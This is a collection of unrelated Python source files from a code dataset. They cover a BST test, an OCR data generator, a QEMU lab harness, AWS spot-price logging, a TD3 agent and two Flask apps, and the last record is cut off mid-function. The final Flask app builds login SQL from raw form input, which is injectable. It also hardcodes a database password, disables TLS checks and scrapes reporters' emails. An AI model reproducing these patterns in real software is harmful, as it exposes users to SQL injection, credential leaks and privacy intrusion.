+{"seq_id":"271890731","text":"import pytest\nfrom src.data_structures.binary_tree import list_to_bst, bst_to_list\nfrom src.tree.increasing_order_search_tree import functions\n\nmultiple_params = False\nnull = None\n\ndata = [\n    ([5, 3, 6, 2, 4, null, 8, 1, null, null, null, 7, 9],\n     [1, null, 2, null, 3, null, 4, null, 5, null, 6, null, 7, null, 8, null, 9]\n     )\n]\n\ntestdata = [i + (f,) for i in data for f in functions]\n\n\n@pytest.mark.parametrize(\"params, expected, f\", testdata)\ndef test_func(params, expected, f):\n    if multiple_params:\n        result = f(*params)\n    else:\n        result = f(list_to_bst(params))\n    assert bst_to_list(result) == expected\n","sub_path":"src/tree/tests/test_increasing_order_search_tree.py","file_name":"test_increasing_order_search_tree.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"558121952","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue May 28 17:01:27 2019\r\n\r\n@author: kesha\r\n\"\"\"\r\nimport os\r\nimport sys\r\nimport string\r\nfrom datetime import datetime as dt\r\nimport cv2\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport tensorflow as tf\r\n\r\ndef gen_rand_string_data(data_count,                        \r\n                         min_char_count = 3, \r\n                         max_char_count = 8,\r\n                         max_char = 16,\r\n                         x_pos = 'side',\r\n                         img_size = (32,256,1),\r\n                         font = [cv2.FONT_HERSHEY_SIMPLEX], \r\n                         font_scale = np.arange(0.7, 1, 0.1), \r\n                         thickness = range(1, 3, 1)):\r\n  '''\r\n  random string data generation\r\n  ''' \r\n  #start_time=dt.now() \r\n  images = []\r\n  labels = []\r\n  color = (255,255,255)\r\n  count = 0\r\n  char_list = list(string.ascii_letters) \\\r\n              + list(string.digits) \\\r\n              + list(' ')     \r\n  while(1):\r\n    \r\n    for fs in font_scale:\r\n      for thick in thickness:\r\n        for f in font:\r\n          img = np.zeros(img_size, np.uint8)\r\n          char_count = np.random.randint(min_char_count, \\\r\n                                         (max_char_count + 1))\r\n          rand_str = ''.join(np.random.choice(char_list, \\\r\n                                              char_count))\r\n          #generate image data\r\n          text_size = cv2.getTextSize(rand_str, f, fs, thick)[0]  \r\n          if(x_pos == 'side'):\r\n            org_x = 0\r\n          else:\r\n            org_x = (img_size[1] - text_size[0])//2         \r\n          org_y = (img_size[0] +  text_size[1])//2\r\n          cv2.putText(img, rand_str, (org_x, org_y), f, fs, \\\r\n                      color, thick, cv2.LINE_AA)\r\n          \r\n          label = list(rand_str) + [' '] \\\r\n          * (max_char - len(rand_str))\r\n          for i,t in enumerate(label):\r\n            label[i] = char_list.index(t)\r\n            \r\n          label = np.uint8(label)\r\n          images.append(img)\r\n          labels.append(label)        \r\n          count +=1\r\n          if count == data_count:\r\n            break\r\n        else: continue\r\n        break\r\n      else: continue\r\n      break\r\n    else: continue\r\n    break  \r\n  #end_time = dt.now()  \r\n  #print(\"time taken to generate data\", end_time - start_time)          \r\n  return images, labels\r\n\r\ndef _bytes_feature(value):\r\n  return tf.train.Feature \\\r\n         (bytes_list=tf.train.BytesList(value=[value]))\r\ndef write_tfrecords(all_features, all_labels, file):\r\n  '''\r\n  write data to a tfrecords file\r\n  '''\r\n  #start_time=dt.now()\r\n  writer = tf.python_io.TFRecordWriter(file)\r\n  for features, labels in zip(all_features, all_labels):\r\n      feature = {'labels': _bytes_feature(tf.compat.as_bytes \\\r\n                           (np.array(labels).tostring())),\r\n                 'images': _bytes_feature(tf.compat.as_bytes \\\r\n                           (np.array(features).tostring()))}\r\n      example = tf.train.Example(features=tf.train.Features \\\r\n                                 (feature=feature))\r\n      writer.write(example.SerializeToString())    \r\n  writer.close()\r\n  #end_time = dt.now()  \r\n  #print(\"time taken to write data\", end_time - start_time)\r\ndef read_data(file_list):\r\n  '''\r\n  read data from tfrecords file\r\n  '''\r\n  file_queue=tf.train.string_input_producer(file_list)\r\n  feature = {'images': tf.FixedLenFeature([], tf.string),\r\n             'labels': tf.FixedLenFeature([], tf.string)}    \r\n  reader = tf.TFRecordReader()  \r\n  _,record=reader.read(file_queue)#read a record\r\n  features = tf.parse_single_example(record, features=feature)\r\n  img = tf.decode_raw(features['images'], tf.uint8)\r\n  label = tf.decode_raw(features['labels'], tf.uint8) \r\n  return img,label\r\n\r\ndef minibatch(batch_size, filename, file_count, \\\r\n              image_size, max_char, class_count):\r\n  '''\r\n  create minibatch\r\n  '''\r\n  file_list=[os.path.join(filename + \\\r\n            '%d.tfrecords' % i) for i in range(1, file_count+1)]  \r\n  img, label=read_data(file_list)\r\n  img = tf.cast(tf.reshape(img,img_size), dtype = tf.float32)\r\n  label = tf.reshape(label, [1, max_char])\r\n  label = tf.one_hot(label,class_count,axis=1)\r\n  label = tf.reshape(label,tf.shape(label)[1:])\r\n  img_batch,label_batch= tf.train.shuffle_batch([img, label],\r\n                          batch_size,capacity,min_after_dequeue,\\\r\n                          num_threads=num_of_threads)\r\n  return img_batch, tf.cast(label_batch, dtype = tf.int64) \r\n \r\nfolder_path = './tfrecordoutput/'\r\nkeyword = '3to8'\r\ntrain_filename = folder_path + 'train_' + keyword + '_'\r\ntest_filename = folder_path + 'test_' + keyword + '_'\r\nfile_count = 2\r\nimg_size = [32,256,1]\r\nmax_char = 8\r\nclass_count = 63\r\nbatch_size = 32\r\nnum_of_threads=16\r\nmin_after_dequeue=5000\r\ncapacity=min_after_dequeue+(num_of_threads+1)*batch_size\r\nwith tf.Graph().as_default():\r\n  image_batch, label_batch=minibatch(batch_size, train_filename \\\r\n                   , file_count, img_size, max_char, class_count)\r\n  init=tf.global_variables_initializer()\r\n  with tf.Session() as sess:\r\n    sess.run(init)\r\n    sess.run(tf.local_variables_initializer())\r\n    coord = tf.train.Coordinator()\r\n    threads = tf.train.start_queue_runners(coord=coord) \r\n    for i in range(5):\r\n      image_b, label_b= sess.run([image_batch, label_batch])\r\n      if(i==0):\r\n        print('data type of image:', type(image_b[0][0,0,0]))\r\n        print('data type of label:', type(label_b[0][0,0]))\r\n        print(\"shape of image_batch:\", image_b.shape)\r\n        print('shape of label_out:', label_b.shape)\r\n      plt.imshow(np.reshape(image_b[0],[32,256]), cmap = 'gray')\r\n      plt.show()\r\n      print(sess.run(tf.transpose(label_b[0])))\r\n    coord.request_stop()\r\n    coord.join(threads)\r\n  \r\nfolder_path = './tfrecordoutput/'\r\nfile_count = 2\r\ntrain_data_count = 8192\r\ntest_data_count = 2048\r\nprint('total train data =', file_count * train_data_count)\r\nprint('total test data =', file_count * test_data_count)\r\nkeyword = '3to8'\r\nfor i in range(file_count):\r\n  index = i+1\r\n  train_filename =folder_path+\"train_\"+keyword+\"_%d.tfrecords\"%index\r\n  test_filename =folder_path+\"test_\"+keyword+\"_%d.tfrecords\"%index\r\n  print('generating train file number %d'%(i+1))\r\n  images, labels = gen_rand_string_data(train_data_count)\r\n  write_tfrecords(images, labels, train_filename)                     \r\n  print('train file number %d generated'%(i+1))\r\n  print('generating test file number %d'%(i+1))\r\n  images, labels, gen_rand_string_data(test_data_count)\r\n  write_tfrecords(images, labels, test_filename)\r\n  print('test file number %d generated'%(i+1))\r\n","sub_path":"First_Method_Filter_Adaptive/data_genrate.py","file_name":"data_genrate.py","file_ext":"py","file_size_in_byte":6637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"616965875","text":"#    SPDX-FileCopyrightText: 2021 Daniel Fernandez Kuehr <daniel.kuehr@tacitosecurity.com>\n#    SPDX-License-Identifier: GPL-3.0-or-later\n\nimport protocol\nfrom enum import Enum\nfrom subprocess import Popen, PIPE\nfrom remotemem import RemoteMemory\n\nclass OpType(Enum):\n    Write = 0\n    Exec = 1\n\nclass Guest:\n    def __init__(self):\n        self.proc = None\n        self.memory = None\n        self.symbols = None\n        self._request = []\n\n    def __enter__(self):\n        self.proc = Popen(\n            'exec qemu-system-x86_64 -display none -boot d -cdrom kernel_bios.iso -m 300M -serial stdio -enable-kvm',\n             stdout=PIPE, stdin=PIPE, shell=True\n        )\n        return self\n\n    def __exit__(self, type, value, traceback):\n        self.proc.kill()\n\n    def _init_boot_info(self, symbols, mmap):\n        self.symbols = dict(symbols)\n        self.memory = RemoteMemory()\n\n        for entry in map(dict, mmap):\n            if entry['type'] == 1:  # MULTIBOOT_MEMORY_AVAILABLE\n                self.memory.add_region(entry['address'], entry['length'])\n\n        kernel_end = (self.symbols['_end'] + 0x1000) & ~0xfff \n        self.memory.del_region(0, kernel_end)\n\n    def messages(self):\n        while self.proc.returncode is None:\n            msg = protocol.recv(self.proc.stdout)\n            msg_type, body = msg\n\n            if msg_type == protocol.MT.Boot:\n                self._init_boot_info(**dict(body))\n\n            yield msg\n\n    def op_write(self, code, address=None):\n        if address is None:\n            address = self.memory.alloc(len(code.build(0)))\n        \n        self._request += [\n            protocol.f.UInt32(OpType.Write.value),\n            protocol.f.UInt64(address),\n            tuple(protocol.f.UInt8(x) for x in code.build(address))\n        ]\n        return address\n\n    def op_exec(self, address):\n        self._request += [\n            protocol.f.UInt32(OpType.Exec.value),\n            protocol.f.UInt64(address)\n        ]\n\n    def op_commit(self):\n        protocol.send(self.proc.stdin, self._request)\n        self._request.clear()\n\n    def execute(self, code):\n        address = self.op_write(code)\n        self.op_exec(address)\n        self.op_commit()\n        self.memory.free(address)\n","sub_path":"ch24/labs/lab5/guest.py","file_name":"guest.py","file_ext":"py","file_size_in_byte":2232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"160993199","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-u\n\n\"\"\"\nPurpose : Get sppot price from aws instances via boto and aws we\n\nhttp://info.awsstream.com : website to get some infos\n\"\"\"\n\n# describe_spot_datafeed_subscription()\n# describe_spot_fleet_instances()\n# describe_spot_fleet_request_history()\n# describe_spot_fleet_requests()\n# describe_spot_instance_requests()\n# describe_spot_price_history()\n\nimport datetime\n\nimport boto3\nimport logging\nfrom utils import merge_dicts\nimport functools\nfrom db import dal, DataAccessLayer, SpotPrice\n#from dateutil.tz import tzutc\n\nimport logging\nlogger = logging.getLogger('awsspotprice')\nhandler_stream = logging.StreamHandler()\nhandler_file = logging.FileHandler(\"Logs/logs_awsspotprice.log\")\nformatter = logging.Formatter(\n    '%(asctime)s - %(name)s - %(levelname)s - %(message)s')\nhandler_stream.setFormatter(formatter)\nhandler_file.setFormatter(formatter)\n# logger.addHandler(handler_stream)\nlogger.addHandler(handler_file)\nlogger.setLevel(logging.INFO)\n\n# Decrease verbosity for theses packages\nlogging.getLogger(\"urllib3\").setLevel(logging.WARNING)\nlogging.getLogger(\"requests\").setLevel(logging.WARNING)\n\nfrom multiprocessing import Pool, cpu_count\nfrom multiprocessing.dummy import Pool as ThreadPool\n\n\nDATE_FORMAT_AWS=\"%Y-%m-%d %H:%M:%S\"\n\ndef parse_d(d, fo = DATE_FORMAT_AWS):\n    \"\"\" Parse date on aws \"\"\"\n    datetime.datetime.strptime(d, fo)\n\n\ndef round_time_inf(d):\n    \"\"\"Round a datetime object to inf hour\n    dt : datetime.datetime object, default now.\n    \"\"\"\n    d = d - datetime.timedelta(seconds=d.second,\n                               minutes=d.minute, microseconds=d.microsecond)\n    return d\n\n\nclass GetSpotPrice(object):\n    colnames = ['AvailabilityZone', 'ProductDescription', 'SpotPrice',\n                'InstanceType', 'Timestamp']\n    regions_spotprice = ['eu-west-1', 'ap-southeast-1', 'ap-southeast-2', 'eu-central-1',\n                         'ap-northeast-1', 'us-east-1', 'sa-east-1',\n                         'us-west-1', 'us-west-2']\n\n    def __init__(self, dal, db=\"spothistory\"):\n        self.base_client = boto3.client('ec2')\n        self.db = db\n        self.dal = dal\n        self.dal.connect()\n\n    @staticmethod\n    def get_start_date(end_time, time_interval=60):\n        \"\"\" Get StartTime based on EndTime with time interval in seconds \"\"\"\n        return end_time - datetime.timedelta(seconds=time_interval)\n\n    @staticmethod\n    def clean_region_name(region_name):\n        \"\"\" Clean region name to create a database name \"\"\"\n        return region_name.replace('_', '')\n\n    @staticmethod\n    def clean_price(price):\n        \"\"\" Clean the raw output from aws before inserting to db \"\"\"\n        price['SpotPrice'] = float(price['SpotPrice'])\n        return price\n\n    def get_regions_ec2(self):\n        \"\"\" Returns list of regions available on ec2 \"\"\"\n        return [d['RegionName'] for d in self.base_client.describe_regions()['Regions']]\n\n    def get_client(self, region_name):\n        \"\"\" Get client assiciated with specific region \"\"\"\n        return boto3.client('ec2', region_name=region_name)\n\n    @staticmethod\n    def filter_dates(list_prices, start_time, end_time):\n        return [p for p in list_prices if (\n               (p['Timestamp'] >= start_time) & (p['Timestamp'] <= end_time))]\n\n    def get_sp(self, region_name, start_time, end_time, filter_dates=False,  *args, **kwargs):\n        # write for colname\n        c = self.get_client(region_name=region_name)\n        paginator = c.get_paginator('describe_spot_price_history')\n        for p in paginator.paginate(StartTime=start_time, EndTime=end_time, *args, **kwargs):\n            logger.info(\"HTTPStatusCode : {}\".format(\n                p['ResponseMetadata']['HTTPStatusCode']))\n            if filter_dates:\n                yield self.filter_dates(p['SpotPriceHistory'], start_time, end_time)\n            else:\n                yield p['SpotPriceHistory']\n\n\n    def bulk_insert(self, prices, table):\n        \"\"\" Bulk insert of prices in database \"\"\"\n        prices = [table(**self.clean_price(price)) for price in prices]\n        self.dal.session.bulk_save_objects(prices)\n        self.dal.session.commit()\n\n    def save_to_database(self, price_iterator, table=SpotPrice):\n        for list_prices in price_iterator:\n            self.bulk_insert(list_prices, table)\n            logger.info(\"Inserting {} prices in databases\".format(\n                len(list_prices)))\n\nif __name__ == \"__main__\":\n    time_now = datetime.datetime.utcnow() #UTC, no time zone \n    time_now = round_time_inf(time_now)\n    # time_now = time_now.replace(tzinfo=tzutc())\n    pull_interval = 60 * 60  # pull data every one hour\n    g = GetSpotPrice(dal)\n    start_time = g.get_start_date(time_now, pull_interval)\n    logger.info(\"Starting pulling data between {} and {} with pull interval : {}\".format(\n                start_time, time_now, pull_interval))\n    regions = g.regions_spotprice\n    for region in regions:\n        try:\n            price_iterator = g.get_sp(region, start_time=start_time, end_time=time_now)\n            g.save_to_database(price_iterator)\n        except Exception as e:\n            logger.exception(e)\n            logger.info(\"Exception occured on this region {}\".format(region))\n            continue\n\n# if __name__ == \"__main__\":\n#     g = GetSpotPrice(dal)\n#     region1 = \"eu-west-1\"\n#     start_time = g.get_start_date(time_now,60*60)\n#     regions = g.get_regions_ec2()\n#     pool = Pool(len(regions))\n#     price_iterators = pool.map(functools.partial(g.get_sp, start_time=start_time), regions)\n#     pool.close()\n#     pool.join()\n#     for price_iterator in price_iterators:\n#     price_iterator = g.get_sp(region1, start_time)\n#     g.save_to_database(price_iterator)\n","sub_path":"hspot/get_aws_spotprice.py","file_name":"get_aws_spotprice.py","file_ext":"py","file_size_in_byte":5730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"564082176","text":"import requests\n\nres = requests.post(\n    'https://taiyaki.joinposter.com/api/incomingOrders.createIncomingOrder?token=xxx&format=json',\n    data={'spot_id': 1,\n          'phone': '+79511111111',\n          'comment': 'тестовый заказ',\n          'products': [{'product_id': 1, 'count': 2}]\n          })\n\nprint(res.json())\n","sub_path":"taiyaki_request/orderRequest.py","file_name":"orderRequest.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"143403180","text":"from typing import Any, Dict, List, Optional, Tuple, Type, Union\n\nimport gym\nimport numpy as np\nimport torch as th\nfrom torch.nn import functional as F\n\nfrom stable_baselines3.common import logger\nfrom stable_baselines3.common.buffers import ReplayBuffer\nfrom stable_baselines3.common.noise import ActionNoise\nfrom stable_baselines3.common.off_policy_algorithm import OffPolicyAlgorithm\nfrom stable_baselines3.common.type_aliases import GymEnv, MaybeCallback, Schedule\nfrom stable_baselines3.common.utils import polyak_update\nfrom stable_baselines3.td3.policies import TD3Policy\n\n\nclass TD3(OffPolicyAlgorithm):\n\n    def __init__(\n        self,\n        policy: Union[str, Type[TD3Policy]],\n        env: Union[GymEnv, str],\n        learning_rate: Union[float, Schedule] = 1e-3,\n        buffer_size: int = 1000000,  # 1e6\n        learning_starts: int = 100,\n        batch_size: int = 100,\n        tau: float = 0.005,\n        gamma: float = 0.99,\n        train_freq: Union[int, Tuple[int, str]] = (1, \"episode\"),\n        gradient_steps: int = -1,\n        action_noise: Optional[ActionNoise] = None,\n        replay_buffer_class: Optional[ReplayBuffer] = None,\n        replay_buffer_kwargs: Optional[Dict[str, Any]] = None,\n        optimize_memory_usage: bool = False,\n        policy_delay: int = 2,\n        target_policy_noise: float = 0.2,\n        target_noise_clip: float = 0.5,\n        tensorboard_log: Optional[str] = None,\n        create_eval_env: bool = False,\n        policy_kwargs: Dict[str, Any] = None,\n        verbose: int = 0,\n        seed: Optional[int] = None,\n        device: Union[th.device, str] = \"auto\",\n        _init_setup_model: bool = True,\n    ):\n\n        super(TD3, self).__init__(\n            policy,\n            env,\n            TD3Policy,\n            learning_rate,\n            buffer_size,\n            learning_starts,\n            batch_size,\n            tau,\n            gamma,\n            train_freq,\n            gradient_steps,\n            action_noise=action_noise,\n            replay_buffer_class=replay_buffer_class,\n            replay_buffer_kwargs=replay_buffer_kwargs,\n            policy_kwargs=policy_kwargs,\n            tensorboard_log=tensorboard_log,\n            verbose=verbose,\n            device=device,\n            create_eval_env=create_eval_env,\n            seed=seed,\n            sde_support=False,\n            optimize_memory_usage=optimize_memory_usage,\n            supported_action_spaces=(gym.spaces.Box),\n        )\n\n        self.policy_delay = policy_delay\n        self.target_noise_clip = target_noise_clip\n        self.target_policy_noise = target_policy_noise\n\n        if _init_setup_model:\n            self._setup_model()\n\n    def _setup_model(self) -> None:\n        super(TD3, self)._setup_model()\n        self._create_aliases()\n\n    def _create_aliases(self) -> None:\n        self.actor = self.policy.actor\n        self.actor_target = self.policy.actor_target\n        self.critic = self.policy.critic\n        self.critic_target = self.policy.critic_target\n\n    def train(self, gradient_steps: int, batch_size: int = 100) -> None:\n\n        # Update learning rate according to lr schedule\n        self._update_learning_rate([self.actor.optimizer, self.critic.optimizer])\n\n        actor_losses, critic_losses = [], []\n\n        for _ in range(gradient_steps):\n\n            self._n_updates += 1\n            # Sample replay buffer\n            replay_data = self.replay_buffer.sample(batch_size, env=self._vec_normalize_env)\n\n            with th.no_grad():\n                # Select action according to policy and add clipped noise\n                noise = replay_data.actions.clone().data.normal_(0, self.target_policy_noise)\n                noise = noise.clamp(-self.target_noise_clip, self.target_noise_clip)\n                next_actions = (self.actor_target(replay_data.next_observations) + noise).clamp(-1, 1)\n\n                # Compute the next Q-values: min over all critics targets\n                next_q_values = th.cat(self.critic_target(replay_data.next_observations, next_actions), dim=1)\n                next_q_values, _ = th.min(next_q_values, dim=1, keepdim=True)\n                target_q_values = replay_data.rewards + (1 - replay_data.dones) * self.gamma * next_q_values\n\n            # Get current Q-values estimates for each critic network\n            current_q_values = self.critic(replay_data.observations, replay_data.actions)\n\n            # Compute critic loss\n            critic_loss = sum([F.mse_loss(current_q, target_q_values) for current_q in current_q_values])\n            critic_losses.append(critic_loss.item())\n\n            # Optimize the critics\n            self.critic.optimizer.zero_grad()\n            critic_loss.backward()\n            self.critic.optimizer.step()\n\n            # Delayed policy updates\n            if self._n_updates % self.policy_delay == 0:\n                # Compute actor loss\n                actor_loss = -self.critic.q1_forward(replay_data.observations, self.actor(replay_data.observations)).mean()\n                actor_losses.append(actor_loss.item())\n\n                # Optimize the actor\n                self.actor.optimizer.zero_grad()\n                actor_loss.backward()\n                self.actor.optimizer.step()\n\n                polyak_update(self.critic.parameters(), self.critic_target.parameters(), self.tau)\n                polyak_update(self.actor.parameters(), self.actor_target.parameters(), self.tau)\n\n        logger.record(\"train/n_updates\", self._n_updates, exclude=\"tensorboard\")\n        if len(actor_losses) > 0:\n            logger.record(\"train/actor_loss\", np.mean(actor_losses))\n        logger.record(\"train/critic_loss\", np.mean(critic_losses))\n\n\n    def learn(\n        self,\n        total_timesteps: int,\n        callback: MaybeCallback = None,\n        log_interval: int = 4,\n        eval_env: Optional[GymEnv] = None,\n        eval_freq: int = -1,\n        n_eval_episodes: int = 5,\n        tb_log_name: str = \"TD3\",\n        eval_log_path: Optional[str] = None,\n        reset_num_timesteps: bool = True,\n    ) -> OffPolicyAlgorithm:\n\n        return super(TD3, self).learn(\n            total_timesteps=total_timesteps,\n            callback=callback,\n            log_interval=log_interval,\n            eval_env=eval_env,\n            eval_freq=eval_freq,\n            n_eval_episodes=n_eval_episodes,\n            tb_log_name=tb_log_name,\n            eval_log_path=eval_log_path,\n            reset_num_timesteps=reset_num_timesteps,\n        )\n\n\n    def _excluded_save_params(self) -> List[str]:\n        return super(TD3, self)._excluded_save_params() + [\"actor\", \"critic\", \"actor_target\", \"critic_target\"]\n\n    def _get_torch_save_params(self) -> Tuple[List[str], List[str]]:\n        state_dicts = [\"policy\", \"actor.optimizer\", \"critic.optimizer\"]\n        return state_dicts, []\n","sub_path":"src/rl/torch/sb3/td3.py","file_name":"td3.py","file_ext":"py","file_size_in_byte":6804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"263251764","text":"from nose.tools import set_trace\nimport os\nimport logging\nimport urlparse\n\nimport flask\nfrom flask import (\n    Flask, \n    Response,\n    redirect,\n)\nfrom flask_sqlalchemy_session import flask_scoped_session\nfrom sqlalchemy.orm import sessionmaker\nfrom config import Configuration\nfrom core.model import (\n    ConfigurationSetting,\n    SessionManager,\n)\nfrom core.log import LogConfiguration\nfrom core.util import LanguageCodes\nfrom flask_babel import Babel\n\n\napp = Flask(__name__)\napp._db = None\napp.config['BABEL_DEFAULT_LOCALE'] = LanguageCodes.three_to_two[Configuration.localization_languages()[0]]\napp.config['BABEL_TRANSLATION_DIRECTORIES'] = \"../translations\"\nbabel = Babel(app)\n\n@app.before_first_request\ndef initialize_database(autoinitialize=True):\n    testing = 'TESTING' in os.environ\n    db_url = Configuration.database_url(testing)\n    if autoinitialize:\n        SessionManager.initialize(db_url)\n    session_factory = SessionManager.sessionmaker(db_url)\n    _db = flask_scoped_session(session_factory, app)\n    app._db = _db\n    if autoinitialize:\n        SessionManager.initialize_data(_db)\n\n    log_level = LogConfiguration.initialize(_db, testing=testing)\n    debug = log_level == 'DEBUG'\n    app.config['DEBUG'] = debug\n    app.debug = debug\n    _db.commit()\n    logging.getLogger().info(\"Application debug mode==%r\" % app.debug)\n\nimport routes\nimport admin.routes\n\ndef run(url=None):\n    base_url = url or u'http://localhost:6500/'\n    scheme, netloc, path, parameters, query, fragment = urlparse.urlparse(base_url)\n    if ':' in netloc:\n        host, port = netloc.split(':')\n        port = int(port)\n    else:\n        host = netloc\n        port = 80\n\n    # Required for subdomain support.\n    app.config['SERVER_NAME'] = netloc\n\n    debug = True\n\n    # Workaround for a \"Resource temporarily unavailable\" error when\n    # running in debug mode with the global socket timeout set by isbnlib\n    if debug:\n        import socket\n        socket.setdefaulttimeout(None)\n\n    logging.info(\"Starting app on %s:%s\", host, port)\n    app.run(debug=debug, host=host, port=port, threaded=True)\n\n\n","sub_path":"api/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"144587332","text":"\"\"\"\nLoad_Dictionary.py\nLoads a text file as a list\n\ninput: text file name and optionally the path\nException will raise if file can't load\nOutput: Returns a list of all the text in lower case\n\"\"\"\n\nimport sys\n\ndef load(file):\n    try:\n        with open(file) as in_file:\n            loaded_txt = in_file.read().strip().split('\\n')\n            loaded_txt = [x.lower() for x in loaded_txt]\n            return loaded_txt \n    except IOError as e:\n        print(\"{}\\nError opening {}, Terminating Program...\".format(e,file))\n        sys.exit(1)\n        ","sub_path":"Chapter 3 - Solving Anagrams/load_dictionary.py","file_name":"load_dictionary.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"492483565","text":"from flask import Flask, render_template, request, redirect, abort, session, jsonify\nimport json, re, random, datetime, requests, os, pymysql\nfrom datetime import date, timedelta\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\n\napp = Flask(__name__, template_folder=\"templates\", static_folder=\"static\")\napp.config['ENV'] = 'development'\napp.config['DEBUG'] = True\napp.secret_key = 'angel'\n\n#DB 이용\ndb = pymysql.connect(\n    user='root',\n    passwd='911004',\n    host='localhost',\n    db='ws2',\n    charset='utf8',\n    cursorclass=pymysql.cursors.DictCursor\n)\n\n@app.route(\"/login\", methods=['GET', 'POST'])\ndef login():\n    message = \"\"\n    \n    if 'id' in session:\n        return redirect(\"/\")    \n    \n    if request.method == 'POST':\n        cursor = db.cursor()\n        cursor.execute(f\"\"\"\n            select id, name, password from mymember \n            where id = '{request.form['id']}'\"\"\")\n        user = cursor.fetchone()\n        print(user)\n        \n        if user is None:\n            message = \"회원이 아닙니다.\"\n        else:\n            cursor.execute(f\"\"\"\n            select id, name, password from mymember \n            where id = '{request.form['id']}' and \n                  password = SHA2('{request.form['password']}', 256)\"\"\")\n            user = cursor.fetchone()\n            \n            if user is None:\n                message = \"패스워드를 확인해 주세요\"\n            else:\n                # Flask Session, template 활용\n                session['id'] = user\n                print(session['id']['id'])\n                return redirect(\"/\")\n    \n    return render_template('login.html', \n                           message=message)\n\n\n\n@app.route(\"/new\", methods=['GET', 'POST'])\ndef newmember():\n    message = \"\"\n\n    if request.method == 'POST':\n        cursor = db.cursor()\n        cursor.execute(f\"\"\"select id from mymember where id = '{request.form['id']}'\"\"\")\n        checkuser = cursor.fetchone()\n\n        if checkuser:\n            return render_template('login.html',\n                           title = \"Sign UP\",\n                           message = \"ID 중복입니다. 다른 ID를 입력해주세요\"\n                           )\n\n        sql = f\"\"\"insert into mymember (id, name, password) \n            values ('{request.form['id']}', '{request.form['name']}', SHA2('{request.form['password']}', 256))\"\"\"\n\n        cursor.execute(sql)\n        print(sql)\n        db.commit()\n        user = cursor.fetchone()\n        return redirect(\"/login\")\n        print(user)\n        \n    \n    return render_template('new.html',\n                           title = \"Sign UP\"\n                           )\n\n\n\n\n@app.route(\"/\", methods=['GET', 'POST'])\ndef index():\n    if 'id' in session:\n        content = 'Hello ' + session['id']['id']\n        return render_template('index.html',\n                          content = content)\n    return 'You Must LOGIN for Using Service'\n\n@app.route('/logout')\ndef logout():\n    session.pop('id', None)\n    return redirect('/login')\n\n\n@app.route('/crawler/news')\ndef crawler_news():\n    if 'id' not in session:\n        return 'You Must LOGIN for Using Service'\n    \n    driver = webdriver.Chrome('chromedriver')\n    url = \"https://news.naver.com\"\n    driver.get(url)\n    \n    soup = BeautifulSoup(driver.page_source, 'html.parser')\n    news_headers_raw = soup.select(\"ul.mlist2 a strong\") #tree 구조를 공부해야겠네...\n    news_headers = []\n    \n    for i in range(len(news_headers_raw)):\n        news_headers.append(news_headers_raw[i].text)\n    \n    print(dir(news_headers_raw[0]))\n    print(news_headers_raw[0].text, len(news_headers_raw))\n    return render_template('crawler.html',\n                           theme = 'Selenium, BeautifulSoup 활용 Crawling',\n                           newsheader = news_headers)\n\n\n@app.route('/crawler/news_author')\ndef crawler_news_author_recent():\n    if 'id' not in session:\n        return 'You Must LOGIN for Using Service'\n    \n    url = \"https://news.naver.com\"\n\n    res = requests.get(url)\n    soup = BeautifulSoup(res.content, 'html.parser')\n    news_headers_raw = soup.select('ul.mlist2 a strong')\n    news_headers_pick = soup.select('ul.mlist2 a')\n    news_headers = []\n    \n    for i in range(len(news_headers_raw)):\n        news_headers.append(news_headers_raw[i].text)    \n    \n    #regex를 활용한 추출\n    emailregex = re.compile('(?!Article)[a-zA-Z0-9+-_.]+@[a-zA-Z0-9-]+\\.[a-zA-Z0-9-.]+')\n    emailadd = []\n    \n    for tag in news_headers_pick:\n        res2 = requests.get(tag['href'], verify=False)\n        new_soup = BeautifulSoup(res2.content, 'html.parser')\n        text = str(new_soup)\n        emailadd.append(emailregex.findall(text))\n        \n    news_title = news_headers\n    \n    lists = [[i, j] for i, j in zip(news_title, emailadd)]\n    print(\"*\" * 20)\n    print(lists)\n    \n    #for i in list(temp)\n    \n    return render_template('check_author.html',\n                          theme = 'regex test',\n                           lists = lists)\n#                           news_title = news_title,\n#                           email_add = emailadd)\n\n\n#Selenium으로 안불러오니까 다중 호출시 SSL Socket 에러남\n\n@app.route('/crawler/news_author/<word>')\ndef crawler_news_author(word):\n    if 'id' not in session:\n        return 'You Must LOGIN for Using Service'\n    \n    url = f\"https://search.naver.com/search.naver\"\n    query = {\n        \"where\": \"news\",\n        \"ie\" \"utf8\"\n        \"sm\": \"nws_hty\",\n        \"query\": word\n    }\n    res = requests.get(url, params=query)\n    soup = BeautifulSoup(res.content, 'html.parser')\n    news_headers_raw = soup.select('ul.type01 li dl dt a')\n\n    #regex를 활용한 추출\n    # emailregex = re.compile('(?!Article).[a-zA-Z0-9+-_.]+@[a-zA-Z0-9-]+\\.[a-zA-Z0-9-.]+')\n    emailregex = re.compile('([a-zA-Z0-9+-.]+@[a-zA-Z0-9-]+(\\.[a-zA-Z0-9-.]+)*\\.[a-zA-Z-.]{2,})')\n    #    emailregex = re.compile('[a-zA-Z0-9+-_.]+@[a-zA-Z0-9-]+\\.[a-zA-Z0-9-.]+')\n    emailadd = []\n    news_title = []\n    \n    for tag in news_headers_raw:\n        news_title.append(str(tag['title']))\n        res2 = requests.Session().get(tag['href'], verify=False)\n        new_soup = BeautifulSoup(res2.content, 'html.parser')\n        # print(\"*\" * 20)\n        # 